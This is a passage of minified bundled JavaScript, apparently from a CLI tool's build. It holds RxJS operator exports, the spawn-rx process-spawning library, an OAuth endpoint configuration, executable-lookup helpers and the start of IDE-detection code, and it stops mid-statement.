S$q=ah1();Object.defineProperty(K1,"skipLast",{enumerable:!0,get:function(){return S$q.skipLast}});var h$q=sh1();Object.defineProperty(K1,"skipUntil",{enumerable:!0,get:function(){return h$q.skipUntil}});var b$q=th1();Object.defineProperty(K1,"skipWhile",{enumerable:!0,get:function(){return b$q.skipWhile}});var x$q=eh1();Object.defineProperty(K1,"startWith",{enumerable:!0,get:function(){return x$q.startWith}});var u$q=ZwA();Object.defineProperty(K1,"subscribeOn",{enumerable:!0,get:function(){return u$q.subscribeOn}});var B$q=Ab1();Object.defineProperty(K1,"switchAll",{enumerable:!0,get:function(){return B$q.switchAll}});var m$q=EwA();Object.defineProperty(K1,"switchMap",{enumerable:!0,get:function(){return m$q.switchMap}});var g$q=Kb1();Object.defineProperty(K1,"switchMapTo",{enumerable:!0,get:function(){return g$q.switchMapTo}});var F$q=qb1();Object.defineProperty(K1,"switchScan",{enumerable:!0,get:function(){return F$q.switchScan}});var Q$q=NwA();Object.defineProperty(K1,"take",{enumerable:!0,get:function(){return Q$q.take}});var U$q=UoA();Object.defineProperty(K1,"takeLast",{enumerable:!0,get:function(){return U$q.takeLast}});var p$q=Yb1();Object.defineProperty(K1,"takeUntil",{enumerable:!0,get:function(){return p$q.takeUntil}});var d$q=zb1();Object.defineProperty(K1,"takeWhile",{enumerable:!0,get:function(){return d$q.takeWhile}});var c$q=wb1();Object.defineProperty(K1,"tap",{enumerable:!0,get:function(){return c$q.tap}});var l$q=loA();Object.defineProperty(K1,"throttle",{enumerable:!0,get:function(){return l$q.throttle}});var i$q=Hb1();Object.defineProperty(K1,"throttleTime",{enumerable:!0,get:function(){return i$q.throttleTime}});var n$q=TwA();Object.defineProperty(K1,"throwIfEmpty",{enumerable:!0,get:function(){return n$q.throwIfEmpty}});var r$q=Jb1();Object.defineProperty(K1,"timeInterval",{enumerable:!0,get:function(){return r$q.timeInterval}});var o$q=fTA();Object.defineProperty(K1,"timeout",{enumerable:!0,get:function(){return o$q.timeout}});var a$q=Ob1();Object.defineProperty(K1,"timeoutWith",{enumerable:!0,get:function(){return a$q.timeoutWith}});var s$q=Xb1();Object.defineProperty(K1,"timestamp",{enumerable:!0,get:function(){return s$q.timestamp}});var t$q=SoA();Object.defineProperty(K1,"toArray",{enumerable:!0,get:function(){return t$q.toArray}});var e$q=$b1();Object.defineProperty(K1,"window",{enumerable:!0,get:function(){return e$q.window}});var A_q=_b1();Object.defineProperty(K1,"windowCount",{enumerable:!0,get:function(){return A_q.windowCount}});var K_q=Gb1();Object.defineProperty(K1,"windowTime",{enumerable:!0,get:function(){return K_q.windowTime}});var q_q=Wb1();Object.defineProperty(K1,"windowToggle",{enumerable:!0,get:function(){return q_q.windowToggle}});var Y_q=Db1();Object.defineProperty(K1,"windowWhen",{enumerable:!0,get:function(){return Y_q.windowWhen}});var z_q=jb1();Object.defineProperty(K1,"withLatestFrom",{enumerable:!0,get:function(){return z_q.withLatestFrom}});var w_q=Mb1();Object.defineProperty(K1,"zipAll",{enumerable:!0,get:function(){return w_q.zipAll}});var H_q=Vb1();Object.defineProperty(K1,"zipWith",{enumerable:!0,get:function(){return H_q.zipWith}})});var A28=v((tY8)=>{Object.defineProperty(tY8,"__esModule",{value:!0});tY8.partition=void 0;var J_q=QS1(),sY8=Ug();function O_q(A,K){return function(q){return[sY8.filter(A,K)(q),sY8.filter(J_q.not(A,K))(q)]}}tY8.partition=O_q});var K28=v((el)=>{var X_q=el&&el.__read||function(A,K){var q=typeof Symbol==="function"&&A[Symbol.iterator];if(!q)return A;var Y=q.call(A),z,w=[],H;try{while((K===void 0||K-- >0)&&!(z=Y.next()).done)w.push(z.value)}catch(J){H={error:J}}finally{try{if(z&&!z.done&&(q=Y.return))q.call(Y)}finally{if(H)throw H.error}}return w},$_q=el&&el.__spreadArray||function(A,K){for(var q=0,Y=K.length,z=A.length;q<Y;q++,z++)A[z]=K[q];return A};Object.defineProperty(el,"__esModule",{value:!0});el.race=void 0;var __q=k1A(),G_q=poA();function Z_q(){var A=[];for(var K=0;K<arguments.length;K++)A[K]=arguments[K];return G_q.raceWith.apply(void 0,$_q([],X_q(__q.argsOrArgArray(A))))}el.race=Z_q});var q28=v((X8)=>{Object.defineProperty(X8,"__esModule",{value:!0});X8.mergeAll=X8.merge=X8.max=X8.materialize=X8.mapTo=X8.map=X8.last=X8.isEmpty=X8.ignoreElements=X8.groupBy=X8.first=X8.findIndex=X8.find=X8.finalize=X8.filter=X8.expand=X8.exhaustMap=X8.exhaustAll=X8.exhaust=X8.every=X8.endWith=X8.elementAt=X8.distinctUntilKeyChanged=X8.distinctUntilChanged=X8.distinct=X8.dematerialize=X8.delayWhen=X8.delay=X8.defaultIfEmpty=X8.debounceTime=X8.debounce=X8.count=X8.connect=X8.concatWith=X8.concatMapTo=X8.concatMap=X8.concatAll=X8.concat=X8.combineLatestWith=X8.combineLatest=X8.combineLatestAll=X8.combineAll=X8.catchError=X8.bufferWhen=X8.bufferToggle=X8.bufferTime=X8.bufferCount=X8.buffer=X8.auditTime=X8.audit=void 0;X8.timeInterval=X8.throwIfEmpty=X8.throttleTime=X8.throttle=X8.tap=X8.takeWhile=X8.takeUntil=X8.takeLast=X8.take=X8.switchScan=X8.switchMapTo=X8.switchMap=X8.switchAll=X8.subscribeOn=X8.startWith=X8.skipWhile=X8.skipUntil=X8.skipLast=X8.skip=X8.single=X8.shareReplay=X8.share=X8.sequenceEqual=X8.scan=X8.sampleTime=X8.sample=X8.refCount=X8.retryWhen=X8.retry=X8.repeatWhen=X8.repeat=X8.reduce=X8.raceWith=X8.race=X8.publishReplay=X8.publishLast=X8.publishBehavior=X8.publish=X8.pluck=X8.partition=X8.pairwise=X8.onErrorResumeNext=X8.observeOn=X8.multicast=X8.min=X8.mergeWith=X8.mergeScan=X8.mergeMapTo=X8.mergeMap=X8.flatMap=void 0;X8.zipWith=X8.zipAll=X8.zip=X8.withLatestFrom=X8.windowWhen=X8.windowToggle=X8.windowTime=X8.windowCount=X8.window=X8.toArray=X8.timestamp=X8.timeoutWith=X8.timeout=void 0;var W_q=IoA();Object.defineProperty(X8,"audit",{enumerable:!0,get:function(){return W_q.audit}});var D_q=pS1();Object.defineProperty(X8,"auditTime",{enumerable:!0,get:function(){return D_q.auditTime}});var j_q=dS1();Object.defineProperty(X8,"buffer",{enumerable:!0,get:function(){return j_q.buffer}});var M_q=lS1();Object.defineProperty(X8,"bufferCount",{enumerable:!0,get:function(){return M_q.bufferCount}});var P_q=iS1();Object.defineProperty(X8,"bufferTime",{enumerable:!0,get:function(){return P_q.bufferTime}});var V_q=rS1();Object.defineProperty(X8,"bufferToggle",{enumerable:!0,get:function(){return V_q.bufferToggle}});var f_q=oS1();Object.defineProperty(X8,"bufferWhen",{enumerable:!0,get:function(){return f_q.bufferWhen}});var N_q=aS1();Object.defineProperty(X8,"catchError",{enumerable:!0,get:function(){return N_q.catchError}});var T_q=eS1();Object.defineProperty(X8,"combineAll",{enumerable:!0,get:function(){return T_q.combineAll}});var v_q=hoA();Object.defineProperty(X8,"combineLatestAll",{enumerable:!0,get:function(){return v_q.combineLatestAll}});var E_q=Ah1();Object.defineProperty(X8,"combineLatest",{enumerable:!0,get:function(){return E_q.combineLatest}});var k_q=Kh1();Object.defineProperty(X8,"combineLatestWith",{enumerable:!0,get:function(){return k_q.combineLatestWith}});var C_q=Yh1();Object.defineProperty(X8,"concat",{enumerable:!0,get:function(){return C_q.concat}});var L_q=NTA();Object.defineProperty(X8,"concatAll",{enumerable:!0,get:function(){return L_q.concatAll}});var R_q=boA();Object.defineProperty(X8,"concatMap",{enumerable:!0,get:function(){return R_q.concatMap}});var y_q=qh1();Object.defineProperty(X8,"concatMapTo",{enumerable:!0,get:function(){return y_q.concatMapTo}});var I_q=zh1();Object.defineProperty(X8,"concatWith",{enumerable:!0,get:function(){return I_q.concatWith}});var S_q=ETA();Object.defineProperty(X8,"connect",{enumerable:!0,get:function(){return S_q.connect}});var h_q=wh1();Object.defineProperty(X8,"count",{enumerable:!0,get:function(){return h_q.count}});var b_q=Hh1();Object.defineProperty(X8,"debounce",{enumerable:!0,get:function(){return b_q.debounce}});var x_q=Jh1();Object.defineProperty(X8,"debounceTime",{enumerable:!0,get:function(){return x_q.debounceTime}});var u_q=fwA();Object.defineProperty(X8,"defaultIfEmpty",{enumerable:!0,get:function(){return u_q.defaultIfEmpty}});var B_q=Oh1();Object.defineProperty(X8,"delay",{enumerable:!0,get:function(){return B_q.delay}});var m_q=BoA();Object.defineProperty(X8,"delayWhen",{enumerable:!0,get:function(){return m_q.delayWhen}});var g_q=Xh1();Object.defineProperty(X8,"dematerialize",{enumerable:!0,get:function(){return g_q.dematerialize}});var F_q=$h1();Object.defineProperty(X8,"distinct",{enumerable:!0,get:function(){return F_q.distinct}});var Q_q=moA();Object.defineProperty(X8,"distinctUntilChanged",{enumerable:!0,get:function(){return Q_q.distinctUntilChanged}});var U_q=_h1();Object.defineProperty(X8,"distinctUntilKeyChanged",{enumerable:!0,get:function(){return U_q.distinctUntilKeyChanged}});var p_q=Gh1();Object.defineProperty(X8,"elementAt",{enumerable:!0,get:function(){return p_q.elementAt}});var d_q=Zh1();Object.defineProperty(X8,"endWith",{enumerable:!0,get:function(){return d_q.endWith}});var c_q=Wh1();Object.defineProperty(X8,"every",{enumerable:!0,get:function(){return c_q.every}});var l_q=Dh1();Object.defineProperty(X8,"exhaust",{enumerable:!0,get:function(){return l_q.exhaust}});var i_q=FoA();Object.defineProperty(X8,"exhaustAll",{enumerable:!0,get:function(){return i_q.exhaustAll}});var n_q=goA();Object.defineProperty(X8,"exhaustMap",{enumerable:!0,get:function(){return n_q.exhaustMap}});var r_q=jh1();Object.defineProperty(X8,"expand",{enumerable:!0,get:function(){return r_q.expand}});var o_q=Ug();Object.defineProperty(X8,"filter",{enumerable:!0,get:function(){return o_q.filter}});var a_q=Mh1();Object.defineProperty(X8,"finalize",{enumerable:!0,get:function(){return a_q.finalize}});var s_q=QoA();Object.defineProperty(X8,"find",{enumerable:!0,get:function(){return s_q.find}});var t_q=Ph1();Object.defineProperty(X8,"findIndex",{enumerable:!0,get:function(){return t_q.findIndex}});var e_q=Vh1();Object.defineProperty(X8,"first",{enumerable:!0,get:function(){return e_q.first}});var AGq=fh1();Object.defineProperty(X8,"groupBy",{enumerable:!0,get:function(){return AGq.groupBy}});var KGq=xoA();Object.defineProperty(X8,"ignoreElements",{enumerable:!0,get:function(){return KGq.ignoreElements}});var qGq=Nh1();Object.defineProperty(X8,"isEmpty",{enumerable:!0,get:function(){return qGq.isEmpty}});var YGq=Th1();Object.defineProperty(X8,"last",{enumerable:!0,get:function(){return YGq.last}});var zGq=Qg();Object.defineProperty(X8,"map",{enumerable:!0,get:function(){return zGq.map}});var wGq=uoA();Object.defineProperty(X8,"mapTo",{enumerable:!0,get:function(){return wGq.mapTo}});var HGq=Eh1();Object.defineProperty(X8,"materialize",{enumerable:!0,get:function(){return HGq.materialize}});var JGq=kh1();Object.defineProperty(X8,"max",{enumerable:!0,get:function(){return JGq.max}});var OGq=yh1();Object.defineProperty(X8,"merge",{enumerable:!0,get:function(){return OGq.merge}});var XGq=WwA();Object.defineProperty(X8,"mergeAll",{enumerable:!0,get:function(){return XGq.mergeAll}});var $Gq=Ch1();Object.defineProperty(X8,"flatMap",{enumerable:!0,get:function(){return $Gq.flatMap}});var _Gq=th();Object.defineProperty(X8,"mergeMap",{enumerable:!0,get:function(){return _Gq.mergeMap}});var GGq=Lh1();Object.defineProperty(X8,"mergeMapTo",{enumerable:!0,get:function(){return GGq.mergeMapTo}});var ZGq=Rh1();Object.defineProperty(X8,"mergeScan",{enumerable:!0,get:function(){return ZGq.mergeScan}});var WGq=Ih1();Object.defineProperty(X8,"mergeWith",{enumerable:!0,get:function(){return WGq.mergeWith}});var DGq=Sh1();Object.defineProperty(X8,"min",{enumerable:!0,get:function(){return DGq.min}});var jGq=kTA();Object.defineProperty(X8,"multicast",{enumerable:!0,get:function(){return jGq.multicast}});var MGq=GwA();Object.defineProperty(X8,"observeOn",{enumerable:!0,get:function(){return MGq.observeOn}});var PGq=hh1();Object.defineProperty(X8,"onErrorResumeNext",{enumerable:!0,get:function(){return PGq.onErrorResumeNext}});var VGq=bh1();Object.defineProperty(X8,"pairwise",{enumerable:!0,get:function(){return VGq.pairwise}});var fGq=A28();Object.defineProperty(X8,"partition",{enumerable:!0,get:function(){return fGq.partition}});var NGq=xh1();Object.defineProperty(X8,"pluck",{enumerable:!0,get:function(){return NGq.pluck}});var TGq=uh1();Object.defineProperty(X8,"publish",{enumerable:!0,get:function(){return TGq.publish}});var vGq=Bh1();Object.defineProperty(X8,"publishBehavior",{enumerable:!0,get:function(){return vGq.publishBehavior}});var EGq=mh1();Object.defineProperty(X8,"publishLast",{enumerable:!0,get:function(){return EGq.publishLast}});var kGq=gh1();Object.defineProperty(X8,"publishReplay",{enumerable:!0,get:function(){return kGq.publishReplay}});var CGq=K28();Object.defineProperty(X8,"race",{enumerable:!0,get:function(){return CGq.race}});var LGq=poA();Object.defineProperty(X8,"raceWith",{enumerable:!0,get:function(){return LGq.raceWith}});var RGq=C1A();Object.defineProperty(X8,"reduce",{enumerable:!0,get:function(){return RGq.reduce}});var yGq=Fh1();Object.defineProperty(X8,"repeat",{enumerable:!0,get:function(){return yGq.repeat}});var IGq=Qh1();Object.defineProperty(X8,"repeatWhen",{enumerable:!0,get:function(){return IGq.repeatWhen}});var SGq=Uh1();Object.defineProperty(X8,"retry",{enumerable:!0,get:function(){return SGq.retry}});var hGq=ph1();Object.defineProperty(X8,"retryWhen",{enumerable:!0,get:function(){return hGq.retryWhen}});var bGq=MoA();Object.defineProperty(X8,"refCount",{enumerable:!0,get:function(){return bGq.refCount}});var xGq=doA();Object.defineProperty(X8,"sample",{enumerable:!0,get:function(){return xGq.sample}});var uGq=dh1();Object.defineProperty(X8,"sampleTime",{enumerable:!0,get:function(){return uGq.sampleTime}});var BGq=ch1();Object.defineProperty(X8,"scan",{enumerable:!0,get:function(){return BGq.scan}});var mGq=lh1();Object.defineProperty(X8,"sequenceEqual",{enumerable:!0,get:function(){return mGq.sequenceEqual}});var gGq=coA();Object.defineProperty(X8,"share",{enumerable:!0,get:function(){return gGq.share}});var FGq=nh1();Object.defineProperty(X8,"shareReplay",{enumerable:!0,get:function(){return FGq.shareReplay}});var QGq=rh1();Object.defineProperty(X8,"single",{enumerable:!0,get:function(){return QGq.single}});var UGq=oh1();Object.defineProperty(X8,"skip",{enumerable:!0,get:function(){return UGq.skip}});var pGq=ah1();Object.defineProperty(X8,"skipLast",{enumerable:!0,get:function(){return pGq.skipLast}});var dGq=sh1();Object.defineProperty(X8,"skipUntil",{enumerable:!0,get:function(){return dGq.skipUntil}});var cGq=th1();Object.defineProperty(X8,"skipWhile",{enumerable:!0,get:function(){return cGq.skipWhile}});var lGq=eh1();Object.defineProperty(X8,"startWith",{enumerable:!0,get:function(){return lGq.startWith}});var iGq=ZwA();Object.defineProperty(X8,"subscribeOn",{enumerable:!0,get:function(){return iGq.subscribeOn}});var nGq=Ab1();Object.defineProperty(X8,"switchAll",{enumerable:!0,get:function(){return nGq.switchAll}});var rGq=EwA();Object.defineProperty(X8,"switchMap",{enumerable:!0,get:function(){return rGq.switchMap}});var oGq=Kb1();Object.defineProperty(X8,"switchMapTo",{enumerable:!0,get:function(){return oGq.switchMapTo}});var aGq=qb1();Object.defineProperty(X8,"switchScan",{enumerable:!0,get:function(){return aGq.switchScan}});var sGq=NwA();Object.defineProperty(X8,"take",{enumerable:!0,get:function(){return sGq.take}});var tGq=UoA();Object.defineProperty(X8,"takeLast",{enumerable:!0,get:function(){return tGq.takeLast}});var eGq=Yb1();Object.defineProperty(X8,"takeUntil",{enumerable:!0,get:function(){return eGq.takeUntil}});var AZq=zb1();Object.defineProperty(X8,"takeWhile",{enumerable:!0,get:function(){return AZq.takeWhile}});var KZq=wb1();Object.defineProperty(X8,"tap",{enumerable:!0,get:function(){return KZq.tap}});var qZq=loA();Object.defineProperty(X8,"throttle",{enumerable:!0,get:function(){return qZq.throttle}});var YZq=Hb1();Object.defineProperty(X8,"throttleTime",{enumerable:!0,get:function(){return YZq.throttleTime}});var zZq=TwA();Object.defineProperty(X8,"throwIfEmpty",{enumerable:!0,get:function(){return zZq.throwIfEmpty}});var wZq=Jb1();Object.defineProperty(X8,"timeInterval",{enumerable:!0,get:function(){return wZq.timeInterval}});var HZq=fTA();Object.defineProperty(X8,"timeout",{enumerable:!0,get:function(){return HZq.timeout}});var JZq=Ob1();Object.defineProperty(X8,"timeoutWith",{enumerable:!0,get:function(){return JZq.timeoutWith}});var OZq=Xb1();Object.defineProperty(X8,"timestamp",{enumerable:!0,get:function(){return OZq.timestamp}});var XZq=SoA();Object.defineProperty(X8,"toArray",{enumerable:!0,get:function(){return XZq.toArray}});var $Zq=$b1();Object.defineProperty(X8,"window",{enumerable:!0,get:function(){return $Zq.window}});var _Zq=_b1();Object.defineProperty(X8,"windowCount",{enumerable:!0,get:function(){return _Zq.windowCount}});var GZq=Gb1();Object.defineProperty(X8,"windowTime",{enumerable:!0,get:function(){return GZq.windowTime}});var ZZq=Wb1();Object.defineProperty(X8,"windowToggle",{enumerable:!0,get:function(){return ZZq.windowToggle}});var WZq=Db1();Object.defineProperty(X8,"windowWhen",{enumerable:!0,get:function(){return WZq.windowWhen}});var DZq=jb1();Object.defineProperty(X8,"withLatestFrom",{enumerable:!0,get:function(){return DZq.withLatestFrom}});var jZq=Pb1();Object.defineProperty(X8,"zip",{enumerable:!0,get:function(){return jZq.zip}});var MZq=Mb1();Object.defineProperty(X8,"zipAll",{enumerable:!0,get:function(){return MZq.zipAll}});var PZq=Vb1();Object.defineProperty(X8,"zipWith",{enumerable:!0,get:function(){return PZq.zipWith}})});var Nb1=v((gN)=>{var __dirname="/home/runner/code/tmp/claude-cli-external-build-2157/node_modules/spawn-rx/lib/src",CE=gN&&gN.__assign||function(){return CE=Object.assign||function(A){for(var K,q=1,Y=arguments.length;q<Y;q++){K=arguments[q];for(var z in K)if(Object.prototype.hasOwnProperty.call(K,z))A[z]=K[z]}return A},CE.apply(this,arguments)},TZq=gN&&gN.__rest||function(A,K){var q={};for(var Y in A)if(Object.prototype.hasOwnProperty.call(A,Y)&&K.indexOf(Y)<0)q[Y]=A[Y];if(A!=null&&typeof Object.getOwnPropertySymbols==="function"){for(var z=0,Y=Object.getOwnPropertySymbols(A);z<Y.length;z++)if(K.indexOf(Y[z])<0&&Object.prototype.propertyIsEnumerable.call(A,Y[z]))q[Y[z]]=A[Y[z]]}return q},vZq=gN&&gN.__spreadArray||function(A,K,q){if(q||arguments.length===2){for(var Y=0,z=K.length,w;Y<z;Y++)if(w||!(Y in K)){if(!w)w=Array.prototype.slice.call(K,0,Y);w[Y]=K[Y]}}return A.concat(w||Array.prototype.slice.call(K))};Object.defineProperty(gN,"__esModule",{value:!0});gN.findActualExecutable=ioA;gN.spawnDetached=fb1;gN.spawn=RTA;gN.spawnDetachedPromise=LZq;gN.spawnPromise=RZq;var CTA=CA("path"),EZq=CA("net"),LTA=CA("fs"),Ai=aY8(),Y28=q28(),kZq=CA("child_process"),CZq=V1A(),H28=process.platform==="win32",LwA=(0,CZq.default)("spawn-rx");function z28(A){try{return LTA.statSync(A)}catch(K){return null}}function w28(A){if(A.match(/[\\/]/))return LwA("Path has slash in directory, bailing"),A;var K=CTA.join(".",A);if(z28(K))return LwA("Found executable in currect directory: ".concat(K)),LTA.realpathSync(K);var q=process.env.PATH.split(H28?";":":");for(var Y=0,z=q;Y<z.length;Y++){var w=z[Y],H=CTA.join(w,A);if(z28(H))return LTA.realpathSync(H)}return LwA("Failed to find executable anywhere in path"),A}function ioA(A,K){if(process.platform!=="win32")return{cmd:w28(A),args:K};if(!LTA.existsSync(A)){var q=[".exe",".bat",".cmd",".ps1"];for(var Y=0,z=q;Y<z.length;Y++){var w=z[Y],H=w28("".concat(A).concat(w));if(LTA.existsSync(H))return ioA(H,K)}}if(A.match(/\.ps1$/i)){var J=CTA.join(process.env.SYSTEMROOT,"System32","WindowsPowerShell","v1.0","PowerShell.exe"),O=["-ExecutionPolicy","Unrestricted","-NoLogo","-NonInteractive","-File",A];return{cmd:J,args:O.concat(K)}}if(A.match(/\.(bat|cmd)$/i)){var J=CTA.join(process.env.SYSTEMROOT,"System32","cmd.exe"),X=vZq(["/C",A],K,!0);return{cmd:J,args:X}}if(A.match(/\.(js)$/i)){var J=process.execPath,$=[A];return{cmd:J,args:$.concat(K)}}return{cmd:A,args:K}}function fb1(A,K,q){var Y=ioA(A,K!==null&&K!==void 0?K:[]),z=Y.cmd,w=Y.args;if(!H28)return RTA(z,w,Object.assign({},q||{},{detached:!0}));var H=[z].concat(w),J=CTA.join(__dirname,"..","..","vendor","jobber","Jobber.exe"),O=CE(CE({},q!==null&&q!==void 0?q:{}),{detached:!0,jobber:!0});return LwA("spawnDetached: ".concat(J,", ").concat(H)),RTA(J,H,O)}function RTA(A,K,q){q=q!==null&&q!==void 0?q:{};var Y=new Ai.Observable(function(z){var{stdin:w,jobber:H,split:J,encoding:O}=q,X=TZq(q,["stdin","jobber","split","encoding"]),$=ioA(A,K),_=$.cmd,G=$.args;LwA("spawning process: ".concat(_," ").concat(G.join(),", ").concat(JSON.stringify(X)));var Z=(0,kZq.spawn)(_,G,X),W=function(f){return function(N){if(N.length<1)return;if(q.echoOutput)(f==="stdout"?process.stdout:process.stderr).write(N);var T="<< String sent back was too long >>";try{if(typeof N==="string")T=N.toString();else T=N.toString(O||"utf8")}catch(C){T="<< Lost chunk of process output for ".concat(A," - length was ").concat(N.length,">>")}z.next({source:f,text:T})}},D=new Ai.Subscription;if(q.stdin)if(Z.stdin)D.add(q.stdin.subscribe({next:function(f){return Z.stdin.write(f)},error:z.error.bind(z),complete:function(){return Z.stdin.end()}}));else z.error(Error("opts.stdio conflicts with provided spawn opts.stdin observable, 'pipe' is required"));var j=null,M=null,P=!1;if(Z.stdout)M=new Ai.AsyncSubject,Z.stdout.on("data",W("stdout")),Z.stdout.on("close",function(){M.next(!0),M.complete()});else M=(0,Ai.of)(!0);if(Z.stderr)j=new Ai.AsyncSubject,Z.stderr.on("data",W("stderr")),Z.stderr.on("close",function(){j.next(!0),j.complete()});else j=(0,Ai.of)(!0);return Z.on("error",function(f){P=!0,z.error(f)}),Z.on("close",function(f){P=!0;var N=(0,Ai.merge)(M,j).pipe((0,Y28.reduce)(function(T){return T},!0));if(f===0)N.subscribe(function(){return z.complete()});else N.subscribe(function(){var T=Error("Failed with exit code: ".concat(f));T.exitCode=f,T.code=f,z.error(T)})}),D.add(new Ai.Subscription(function(){if(P)return;if(LwA("Killing process: ".concat(_," ").concat(G.join())),q.jobber)EZq.connect("\\\\.\\pipe\\jobber-".concat(Z.pid)),setTimeout(function(){return Z.kill()},5000);else Z.kill()})),D});return q.split?Y:Y.pipe((0,Y28.map)(function(z){return z===null||z===void 0?void 0:z.text}))}function J28(A){return new Promise(function(K,q){var Y="";A.subscribe({next:function(z){return Y+=z},error:function(z){var w=Error("".concat(Y,` `).concat(z.message));if("exitCode"in z)w.exitCode=z.exitCode,w.code=z.exitCode;q(w)},complete:function(){return K(Y)}})})}function O28(A){return new Promise(function(K,q){var Y="",z="";A.subscribe({next:function(w){return w.source==="stdout"?Y+=w.text:z+=w.text},error:function(w){var H=Error("".concat(Y,` `).concat(w.message));if("exitCode"in w)H.exitCode=w.exitCode,H.code=w.exitCode,H.stdout=Y,H.stderr=z;q(H)},complete:function(){return K([Y,z])}})})}function LZq(A,K,q){if(q===null||q===void 0?void 0:q.split)return O28(fb1(A,K,CE(CE({},q!==null&&q!==void 0?q:{}),{split:!0})));else return J28(fb1(A,K,CE(CE({},q!==null&&q!==void 0?q:{}),{split:!1})))}function RZq(A,K,q){if(q===null||q===void 0?void 0:q.split)return O28(RTA(A,K,CE(CE({},q!==null&&q!==void 0?q:{}),{split:!0})));else return J28(RTA(A,K,CE(CE({},q!==null&&q!==void 0?q:{}),{split:!1})))}});import{setMaxListeners as yZq}from"events";function e7(A=IZq){let K=new AbortController;return yZq(A,K.signal),K}function L1A(A,K){let q=e7(K),Y=()=>q.abort(A.signal.reason);return A.signal.addEventListener("abort",Y,{once:!0}),q.signal.addEventListener("abort",()=>A.signal.removeEventListener("abort",Y),{once:!0}),q}var IZq=50;var Jz=()=>{};function R1A(){return process.versions.bun!==void 0}function n9(){return R1A()&&Array.isArray(Bun?.embeddedFiles)&&Bun.embeddedFiles.length>0}function $28(){return"prod"}function _28(){switch($28()){case"local":return"-local-oauth";case"staging":return"-staging-oauth";case"prod":return""}}function E7(){let A=(()=>{switch($28()){case"local":return xZq;case"staging":return bZq??X28;case"prod":return X28}})(),K=process.env.CLAUDE_CODE_OAUTH_CLIENT_ID;if(K)return{...A,CLIENT_ID:K};return A}var Ab="user:inference",SZq="org:create_api_key",LE="oauth-2025-04-20",hZq,Tb1,G28,X28,bZq=void 0,xZq;var uz=k(()=>{l6();hZq=[SZq,"user:profile"],Tb1=["user:profile",Ab,"user:sessions:claude_code","user:mcp_servers"],G28=Array.from(new Set([...hZq,...Tb1])),X28={BASE_API_URL:"https://api.anthropic.com",CONSOLE_AUTHORIZE_URL:"https://platform.claude.com/oauth/authorize",CLAUDE_AI_AUTHORIZE_URL:"https://claude.ai/oauth/authorize",TOKEN_URL:"https://platform.claude.com/v1/oauth/token",API_KEY_URL:"https://api.anthropic.com/api/oauth/claude_cli/create_api_key",ROLES_URL:"https://api.anthropic.com/api/oauth/claude_cli/roles",CONSOLE_SUCCESS_URL:"https://platform.claude.com/buy_credits?returnUrl=/oauth/code/success%3Fapp%3Dclaude-code",CLAUDEAI_SUCCESS_URL:"https://platform.claude.com/oauth/code/success?app=claude-code",MANUAL_REDIRECT_URL:"https://platform.claude.com/oauth/code/callback",CLIENT_ID:"9d1c250a-e61b-44d9-88ed-5944d1962f5e",OAUTH_FILE_SUFFIX:"",MCP_PROXY_URL:"https://mcp-proxy.anthropic.com",MCP_PROXY_PATH:"/v1/mcp/{server_id}"},xZq={BASE_API_URL:"http://localhost:3000",CONSOLE_AUTHORIZE_URL:"http://localhost:3000/oauth/authorize",CLAUDE_AI_AUTHORIZE_URL:"http://localhost:4000/oauth/authorize",TOKEN_URL:"http://localhost:3000/v1/oauth/token",API_KEY_URL:"http://localhost:3000/api/oauth/claude_cli/create_api_key",ROLES_URL:"http://localhost:3000/api/oauth/claude_cli/roles",CONSOLE_SUCCESS_URL:"http://localhost:3000/buy_credits?returnUrl=/oauth/code/success%3Fapp%3Dclaude-code",CLAUDEAI_SUCCESS_URL:"http://localhost:3000/oauth/code/success?app=claude-code",MANUAL_REDIRECT_URL:"https://console.staging.ant.dev/oauth/code/callback",CLIENT_ID:"22422756-60c9-4084-8eb7-27705fd5cf9a",OAUTH_FILE_SUFFIX:"-local-oauth",MCP_PROXY_URL:"http://localhost:8205",MCP_PROXY_PATH:"/v1/toolbox/shttp/mcp/{server_id}"}});import{execSync as uZq}from"child_process";function BZq(A,K){performance.now()-K>ug}function RE(A,K){let q=`execSync: ${A.slice(0,100)}`,Y=performance.now();try{return uZq(A,K)}finally{BZq(q,Y)}}var yTA=k(()=>{Z1();q6();b1()});async function mZq(A){return Bun.which(A)}async function FZq(A){if(process.platform==="win32"){let q=await wY(`where.exe ${A}`,{shell:!0,stderr:"ignore",reject:!1});if(q.exitCode!==0||!q.stdout)return null;return q.stdout.trim().split(/\r?\n/)[0]||null}let K=await wY(`which ${A}`,{shell:!0,stderr:"ignore",reject:!1});if(K.exitCode!==0||!K.stdout)return null;return K.stdout.trim()}function QZq(A){if(process.platform==="win32")try{return RE(`where.exe ${A}`,{encoding:"utf-8"}).toString().trim().split(/\r?\n/)[0]||null}catch{return null}try{return RE(`which ${A}`,{encoding:"utf-8"}).toString().trim()||null}catch{return null}}var gZq,AV,Z28;var Ki=k(()=>{rP();yTA();gZq=typeof Bun<"u"?Bun.which:void 0;AV=typeof Bun<"u"?mZq:FZq,Z28=typeof Bun<"u"?gZq:QZq});import{join as vb1}from"path";import{homedir as UZq}from"os";function VZ(){if(BA().existsSync(vb1(w8(),".config.json")))return vb1(w8(),".config.json");let A=`.claude${_28()}.json`;return vb1(process.env.CLAUDE_CONFIG_DIR||UZq(),A)}async function RwA(A){try{return!!await AV(A)}catch{return!1}}function nZq(){if(process.env.CURSOR_TRACE_ID)return"cursor";if(process.env.VSCODE_GIT_ASKPASS_MAIN?.includes("/.cursor-server/"))return"cursor";if(process.env.VSCODE_GIT_ASKPASS_MAIN?.includes("/.windsurf-server/"))return"windsurf";let A=process.env.__CFBundleIdentifier?.toLowerCase();if(A?.includes("vscodium"))return"codium";if(A?.includes("windsurf"))return"windsurf";if(A?.includes("com.google.android.studio"))return"androidstudio";if(A){for(let K of Eb1)if(A.includes(K))return K}if(process.env.VisualStudioVersion)return"visualstudio";if(process.env.TERMINAL_EMULATOR==="JetBrains-JediTerm"){if(process.platform==="darwin")return"pycharm";return"pycharm"}if(process.env.TERM==="xterm-ghostty")return"ghostty";if(process.env.TERM?.includes("kitty"))return"kitty";if(process.env.TERM_PROGRAM)return 